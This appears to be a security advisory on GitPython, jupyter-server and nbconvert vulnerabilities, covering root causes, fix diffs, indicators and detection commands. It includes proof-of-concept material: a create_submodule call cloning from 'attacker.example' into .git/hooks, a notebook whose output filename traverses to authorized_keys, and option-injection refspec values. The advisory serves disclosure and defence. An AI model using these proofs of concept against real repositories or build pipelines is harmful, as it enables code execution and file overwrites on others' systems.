CVE
CVE-2026-114145, CVE-2026-114135, CVE-2026-114140, CVE-2026-110858, CVE-2026-110857, CVE-2026-110859, CVE-2026-110860, CVE-2026-110855, CVE-2026-110856
CWE
CWE-22, CWE-73, CWE-88, CWE-94, CWE-862, CWE-1333
Affected Surface
- PyPI package `GitPython` (`gitpython`) versions `<= 3.2.0` (fixed in `3.2.1` for `CVE-2026-114145` and `CVE-2026-110857`, and in `3.2.0` for `CVE-2026-110858`, `CVE-2026-110859`, `CVE-2026-110860`, `CVE-2026-110855`, and `CVE-2026-110856`)
- PyPI package `jupyter-server` (`jupyter_server`) versions `>= 2.0.0, < 2.6.0` in default Gateway configurations (`GatewayClient.url`), plus `>= 2.6.0` deployments that explicitly register the deprecated `jupyter_server.gateway.handlers` module
- PyPI package `nbconvert` versions `>= 5.4.0, <= 7.17.1` (fixed in `7.17.2`) when exporting untrusted `.ipynb` notebooks with `--to markdown`, `--to latex`, `--to rst`, or `--to asciidoc`
Update, 27 October 2026: On 27 October (15:26 to 15:28 UTC), the GitHub Advisory Database published six additional reviewed GitPython security advisories (CVE-2026-110855 through CVE-2026-110860), bringing the October GitPython 3.2.0 / 3.2.1 security batch to seven vulnerabilities:
CVE-2026-110858(GHSA-f9j4-qggq-h239, CVSS 8.1 High, fixed in3.2.0):Remote.pull()screened keyword arguments againstunsafe_git_pull_options(allow_unsafe_options=Falseby default), but forwarded its positionalrefspecargument unchecked. Becausegit pull’s internalbuiltin/pull.c:run_fetch()drops the--separator when invokinggit fetch, passing an option-shapedrefspecsuch as"--upload-pack=..."or["--upl=helper"]executes the attacker’s command (790bb31649).CVE-2026-110857(GHSA-w8jc-g24h-crhw, CVSS 7.5 High, fixed in3.2.1): Three command wrappers omittedGitPython’s protocol and option guards:Git.ls_remote()forwarded positional URLs without callingGit.check_unsafe_protocols()(allowingext::remote helpers), andRepo.merge_base()andIndexFile.move()omittedGit.check_unsafe_options()(allowing--outputor--pathspec-from-file). Commit9ad28cc4c7inGitPython3.2.1adds both guards and tightensre_unsafe_protocoltor"([A-Za-z0-9][A-Za-z0-9+.-]*|)::"so empty-name (::address) and newline-containing transport helpers are blocked.CVE-2026-110859(GHSA-23mf-xhv8-69c2, High, fixed in3.2.0): An incomplete fix forCVE-2026-78679inHead.checkout()passedoptions=Git._option_candidates([], kwargs)instead of[self], allowing an attacker-controlled branch name (refs/heads/--pathspec-from-file=...) in a cloned repository to read arbitrary files (8da6508084).CVE-2026-110860(GHSA-gq48-pqfc-9p58, Medium),CVE-2026-110855(GHSA-fx3j-rwgx-fr94, CVSS 6.5 Medium), andCVE-2026-110856(GHSA-m64x-33q8-m5h7, High), all fixed in3.2.0:Submodule.move()followed committed intermediate symlinks outside the worktree (24b6f95d4b);Repo._clone()passedseparate_git_dir(derived from.gitmodulessubmodule names) toGit.polish_url()withoutwith_extended_args=False, expanding$ENV_VARsecrets into directory names (9349ff58ee); andparse_actor_and_date()ingit/objects/util.pyused a quadratic-backtracking regex_re_actor_epoch = re.compile(r"^.+? (.*) (\d+) ([+-]\d+).*$")on malformed commit/tag identity lines (8290c98d35).
TL;DR
On 22 October 2026, the GitHub Advisory Database and NVD published three high-severity advisories affecting Python repositories, notebook platforms, and documentation pipelines:
CVE-2026-114145(GHSA-83vg-56qc-22m7, High) inGitPython(<= 3.2.0, fixed in3.2.1):Submodule.add()(called byRepo.create_submodule()) validated.gitpath aliases only when adding the submodule entry to the Git index, aftercls._clone_repo()had already cloned the remote repository into the working tree. Passingpath=".git/hooks"clones an attacker’s repository straight into the live.git/hooksdirectory, planting an executable.git/hooks/post-checkoutscript. Even whenGitPython3.2.0raisesValueErroratindex.add(), it does not roll back the files already written to.git/hooks.CVE-2026-114135(GHSA-354v-3q48-cv69, CVSS 8.8 High) injupyter-server(>= 2.0.0, < 2.6.0, plus manualgateway.handlersregistrations in>= 2.6.0): WhenGatewayClient.urlwas configured,ServerApp.init_handlers()replaced the standardKernelWebsocketHandlerwithjupyter_server.gateway.handlers.WebSocketChannelsHandler. That gateway handler checked authentication (current_user) but never calledauthorizer.is_authorized("execute", "kernels"), allowing read-only authenticated users to execute arbitrary code on upstream gateway kernels.CVE-2026-114140(GHSA-pjvx-prjx-h659, High) innbconvert(>= 5.4.0, <= 7.17.1, fixed in7.17.2): When exporting a Jupyter notebook (.ipynb) tomarkdown,latex,rst, orasciidoc,ExtractOutputPreprocessorjoinedout.metadata["filename"]tooutput_files_dirwithout stripping directory traversal segments (../), allowing a crafted notebook cell output to overwrite arbitrary files such as~/.ssh/authorized_keys.
Affected packages and projects
| Ecosystem | Package | CVE / GHSA | Severity | Affected versions | Fixed version | Vulnerable component |
|---|---|---|---|---|---|---|
| PyPI | GitPython | CVE-2026-114145 (GHSA-83vg-56qc-22m7) | High (CVSS 7.5) | <= 3.2.0 | 3.2.1 | git/objects/submodule/base.py (Submodule.add cloning before _validate_repo_path) |
| PyPI | GitPython | CVE-2026-110857 (GHSA-w8jc-g24h-crhw) | High (CVSS 7.5) | < 3.2.0 (3.2.1 for full guard) | 3.2.1 | git/cmd.py (ls_remote), git/repo/base.py (merge_base), git/index/base.py (move) |
| PyPI | GitPython | CVE-2026-110858 (GHSA-f9j4-qggq-h239) | High (CVSS 8.1) | >= 3.1.30, < 3.2.0 | 3.2.0 (3.2.1 recommended) | git/remote.py (Remote.pull positional refspec option injection) |
| PyPI | GitPython | CVE-2026-110859 (GHSA-23mf-xhv8-69c2) | High | < 3.2.0 | 3.2.0 (3.2.1 recommended) | git/refs/head.py (Head.checkout missing [self] in _option_candidates) |
| PyPI | GitPython | CVE-2026-110856 (GHSA-m64x-33q8-m5h7) | High | < 3.2.0 | 3.2.0 (3.2.1 recommended) | git/objects/util.py (parse_actor_and_date _re_actor_epoch ReDoS) |
| PyPI | GitPython | CVE-2026-110860 (GHSA-gq48-pqfc-9p58), CVE-2026-110855 (GHSA-fx3j-rwgx-fr94) | Medium (CVSS 6.5) | < 3.2.0 | 3.2.0 (3.2.1 recommended) | Submodule.move intermediate symlink & Repo._clone separate_git_dir env expansion |
| PyPI | jupyter-server | CVE-2026-114135 (GHSA-354v-3q48-cv69) | High (CVSS 8.8) | >= 2.0.0, < 2.6.0 (and manual gateway.handlers use in >= 2.6.0) | 2.6.0 (2.21.1 current) | jupyter_server/gateway/handlers.py (WebSocketChannelsHandler missing is_authorized) |
| PyPI | nbconvert | CVE-2026-114140 (GHSA-pjvx-prjx-h659) | High | >= 5.4.0, <= 7.17.1 | 7.17.2 | nbconvert/preprocessors/extractoutput.py (ExtractOutputPreprocessor.preprocess_cell) |
Technical analysis
1. CVE-2026-114145: GitPython clones into .git/hooks before raising ValueError
In September 2026, GitPython 3.2.0 added _validate_repo_path() at the index boundary (git/index/base.py) to block .git path components and NTFS/HFS .git aliases. However, Submodule.add() in git/objects/submodule/base.py only called cls._to_relative_path(repo, path) before cloning:
# git/objects/submodule/base.py in GitPython <= 3.2.0
path = cls._to_relative_path(repo, path) # line 599: blocks "..", accepts ".git/hooks"
...
mrepo = cls._clone_repo(repo, url, path, name, ...) # line 673: clones url into <worktree>/.git/hooks
...
index.add([sm], write=True) # line 714: calls _validate_repo_path() too late
Because _to_relative_path() only checks that the target path stays inside the working tree, passing path=".git/hooks" passes the pre-clone check. When .git/hooks contains no sample files (which is standard in CI checkouts, container builds, or repositories initialized with an empty init.templateDir / GIT_TEMPLATE_DIR), cls._clone_repo() clones the remote repository directly into <worktree>/.git/hooks.
If the cloned repository contains an executable post-checkout file at its root, .git/hooks/post-checkout is now live on disk with mode 0755:
import git
try:
git.Repo("victim").create_submodule(
name="x",
path=".git/hooks",
url="https://attacker.example/evilsub.git",
)
except ValueError:
# GitPython 3.2.0 raises ValueError in index.add(),
# but victim/.git/hooks/post-checkout is already written and executable!
pass
On GitPython 3.1.x, no ValueError is raised at all. On 3.2.0, index.add() raises ValueError, which misleads calling code that catches ValueError into assuming the unsafe submodule path was rejected before touching disk. Any subsequent git checkout in victim executes .git/hooks/post-checkout.
Commit 97eadb888d (released in GitPython 3.2.1) moves _validate_repo_path(), Windows reserved-device-name validation (CON, PRN, AUX, NUL, COM1..9, LPT1..9), NUL-byte checks, and nested git_dir checks ahead of directory creation, cloning, and submodule moves. It complements our earlier analysis of GitPython CVE-2026-67324 (upload_pack command injection).
2. CVE-2026-114135: jupyter-server Gateway WebSocket handler skips authorizer.is_authorized()
In jupyter-server, the standard kernel WebSocket handler (jupyter_server/services/kernels/websocket.py) enforces fine-grained RBAC in pre_get() by calling self.authorizer.is_authorized(self, user, "execute", "kernels") before upgrading the HTTP request to a WebSocket connection.
However, in jupyter-server 2.0.0 through 2.5.0, setting GatewayClient.url (to connect Jupyter Server to a remote Jupyter Kernel Gateway or Enterprise Gateway) triggered a handler-replacement loop in jupyter_server/serverapp.py:
# jupyter_server/serverapp.py in 2.0.0 .. 2.5.0
if GatewayClient.instance().gateway_enabled:
gateway_handlers = load_handlers("jupyter_server.gateway.handlers")
for _, gwh in enumerate(gateway_handlers):
for j, h in enumerate(handlers):
if gwh[0] == h[0]:
handlers[j] = (gwh[0], gwh[1])
break
That loop replaced KernelWebsocketHandler on /api/kernels/(?P<kernel_id>[\w-]+)/channels with WebSocketChannelsHandler from jupyter_server/gateway/handlers.py. Inside WebSocketChannelsHandler, authenticate() checked only that self.current_user was not None and never consulted self.authorizer.is_authorized(). An authenticated user restricted by a custom Authorizer to read-only access could open a WebSocket directly to the kernel channels endpoint and send execute_request messages to the remote kernel.
Commit 35ffe5d435 (PR #1261, v2.6.0) removes the handler-replacement loop in serverapp.py and instead routes gateway WebSockets through GatewayWebSocketConnection behind the standard authorized KernelWebsocketHandler:
--- a/jupyter_server/serverapp.py
+++ b/jupyter_server/serverapp.py
@@ -1505,6 +1496,11 @@ class ServerApp(JupyterApp):
+ @default("kernel_websocket_connection_class")
+ def _default_kernel_websocket_connection_class(self):
+ if self.gateway_config.gateway_enabled:
+ return "jupyter_server.gateway.connections.GatewayWebSocketConnection"
+ return ZMQChannelsWebsocketConnection
One important caveat for defenders: jupyter_server.gateway.handlers was deprecated rather than deleted in 2.x (for removal in 3.0). Any deployment or custom extension on jupyter-server >= 2.6.0 that still imports and registers jupyter_server.gateway.handlers manually remains exposed to CVE-2026-114135.
3. CVE-2026-114140: nbconvert cell output metadata.filename path traversal
When jupyter nbconvert exports a notebook to a text format that writes external image or attachment assets to disk (--to markdown, --to latex, --to rst, or --to asciidoc), ExtractOutputPreprocessor.preprocess_cell() in nbconvert/preprocessors/extractoutput.py extracts each display_data or execute_result payload into output_files_dir.
In nbconvert 5.4.0 through 7.17.1, if a cell output dictionary included metadata.filename, preprocess_cell() trusted it verbatim:
{
"cells": [{
"cell_type": "code",
"id": "poc",
"execution_count": 1,
"metadata": {},
"source": "",
"outputs": [{
"output_type": "display_data",
"metadata": {
"filename": "../../../home/user/.ssh/authorized_keys"
},
"data": {
"image/png": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
}
}]
}]
}
When ExtractOutputPreprocessor later joined output_files_dir with filename (os.path.join(output_files_dir, filename)), the ../ segments traversed outside the export directory and wrote the decoded binary output to any path writable by the user or CI job running nbconvert. Note that if the notebook is executed first (--execute), Jupyter regenerates the cell outputs and overwrites the malicious outputs array, so the vector specifically targets static conversion of untrusted .ipynb files (such as documentation builds, grading pipelines, and preview services).
Commit ce4bd99aec (released in nbconvert 7.17.2) strips directory components with os.path.basename():
--- a/nbconvert/preprocessors/extractoutput.py
+++ b/nbconvert/preprocessors/extractoutput.py
@@ -114,7 +114,22 @@ def preprocess_cell(self, cell, resources, cell_index):
if out.metadata.get("filename", ""):
- filename = out.metadata["filename"]
+ fname = out.metadata["filename"]
+ # Sanitize: use only the basename to prevent path traversal
+ filename = os.path.basename(fname)
+ if not filename:
+ self.log.warning(
+ "Output filename '%s' is invalid (empty basename), skipping",
+ fname,
+ )
+ continue
if not filename.endswith(ext):
filename += ext
IOCs and forensic artifacts
Because these three CVEs are software vulnerabilities rather than a specific malware campaign, there are no fixed C2 domains or hashes. Responders should check for these filesystem and log artifacts:
- Unexpected executable scripts inside
.git/hooks/(such aspost-checkout,pre-commit, orpost-mergewithout a.samplesuffix) in repositories whereGitPython <= 3.2.0rancreate_submodule()orSubmodule.add()(CVE-2026-114145) - WebSocket upgrade requests to
/api/kernels/<id>/channelsfrom users whose role denieskernels:executeonjupyter-serverdeployments withGatewayClient.urlconfigured orjupyter_server.gateway.handlersregistered (CVE-2026-114135) - Notebook
.ipynbfiles containing"filename":values with../, leading slashes, or backslashes inside celloutputs[].metadata, ornbconvertlogs emittingOutput filename '...' contained path components, using basename '...'(CVE-2026-114140)
Detection and remediation
1. Check installed versions and search for vulnerable patterns
Run the following checks across virtual environments, container images, and repositories:
# Check installed versions in the active Python environment
pip show GitPython jupyter-server nbconvert
# Search lockfiles and dependency manifests
rg -n -i '"?(gitpython|jupyter[-_]server|nbconvert)"?\s*([~=!<>]=|:)' \
requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile.lock 2>/dev/null
# Check for GitPython submodule creation calls, Jupyter gateway handler imports, or untrusted nbconvert runs
rg -n 'create_submodule|Submodule\.add|jupyter_server\.gateway\.handlers|ExtractOutputPreprocessor|nbconvert\s+--to\s+(markdown|latex|rst|asciidoc)' . 2>/dev/null
# Scan .ipynb files in the repository for suspicious path traversal in cell output filenames
rg -n '"filename"\s*:\s*"[^"]*(\.\.|/|\\)' --glob '*.ipynb' . 2>/dev/null
2. Upgrade packages and verify .git/hooks
- Upgrade to the patched releases:
pip install --upgrade "GitPython>=3.2.1" "jupyter-server>=2.6.0" "nbconvert>=7.17.2" - Inspect
.git/hooksin repositories managed byGitPython: If your service callscreate_submodule()orSubmodule.add()on untrusted inputs and ranGitPython <= 3.2.0, catchingValueErrordid not prevent files from being written into.git/hooks. Check every managed repository for unexpected executable scripts under.git/hooks/:find . -path '*/.git/hooks/*' ! -name '*.sample' -type f -ls - Audit custom Jupyter Gateway configurations: Ensure no extension or configuration file imports
jupyter_server.gateway.handlersdirectly; useGatewayClient.urlwithGatewayWebSocketConnectiononjupyter-server >= 2.6.0.
Timeline
- 2026-09-30:
GitPython3.2.0ships index-level_validate_repo_path()validation, which still runs after_clone_repo()inSubmodule.add(). - 2026-10-01:
GitPythonmerges commit97eadb888d(PR#2264) to validate submodule paths before filesystem mutation. - 2026-10-14:
GitPython3.2.1is published to PyPI (12:20 UTC). - 2026-10-22 (15:46 to 16:41 UTC): The GitHub Advisory Database and NVD publish
GHSA-354v-3q48-cv69(CVE-2026-114135),GHSA-pjvx-prjx-h659(CVE-2026-114140), andGHSA-83vg-56qc-22m7(CVE-2026-114145). - 2026-10-27 (15:26 to 15:28 UTC): The GitHub Advisory Database publishes six additional
GitPythonadvisories (GHSA-m64x-33q8-m5h7/CVE-2026-110856,GHSA-fx3j-rwgx-fr94/CVE-2026-110855,GHSA-w8jc-g24h-crhw/CVE-2026-110857,GHSA-f9j4-qggq-h239/CVE-2026-110858,GHSA-gq48-pqfc-9p58/CVE-2026-110860, andGHSA-23mf-xhv8-69c2/CVE-2026-110859).
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- GitPython advisory GHSA-83vg-56qc-22m7 (CVE-2026-114145)
- GitPython commit 97eadb888d (validate destinations before mutation)
- GitPython advisory GHSA-f9j4-qggq-h239 (CVE-2026-110858: Remote.pull refspec --upload-pack RCE)
- GitPython advisory GHSA-w8jc-g24h-crhw (CVE-2026-110857: ls_remote, merge_base, and IndexFile.move guards)
- GitPython advisory GHSA-23mf-xhv8-69c2 (CVE-2026-110859: Head.checkout --pathspec-from-file bypass)
- Jupyter Server advisory GHSA-354v-3q48-cv69 (CVE-2026-114135)
- jupyter_server commit 35ffe5d435 (PR #1261: route gateway WebSockets through GatewayWebSocketConnection)
- nbconvert advisory GHSA-pjvx-prjx-h659 (CVE-2026-114140)
- nbconvert commit ce4bd99aec (sanitize output filename with os.path.basename)
- NVD: CVE-2026-114145, CVE-2026-114135, and CVE-2026-114140